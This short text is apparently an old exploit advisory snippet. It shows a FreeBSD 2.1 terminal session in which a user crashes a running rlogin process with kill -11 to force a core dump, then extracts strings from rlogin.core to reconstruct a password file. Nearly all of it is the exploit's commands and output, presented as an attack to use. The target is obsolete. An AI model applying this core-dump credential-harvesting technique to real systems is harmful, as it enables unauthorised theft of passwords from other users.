Exploit:
~> rlogin 127.0.0.1
Password:
Last login: Mon Feb 17 00:35:49 from localhost
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991
The Regents of the University of California.
FreeBSD 2.1.0-RELEASE (WIPS) #0: Thu Oct 17
You have new mail.
~> ps -ax | grep rlogin
6528 ?? S 0:00.06 rlogind
6527 p1 S+ 0:00.05 rlogin 127.0.0.1
6529 p1 S+ 0:00.01 rlogin 127.0.0.1
~> kill -11 6529
~> ls
Brain_Box NS cronjobs
Mail News rlogin.core
~>strings rlogin.core > passwdfile.reconstruct
~>vi passwdfile.reconstruct
and reconstruct..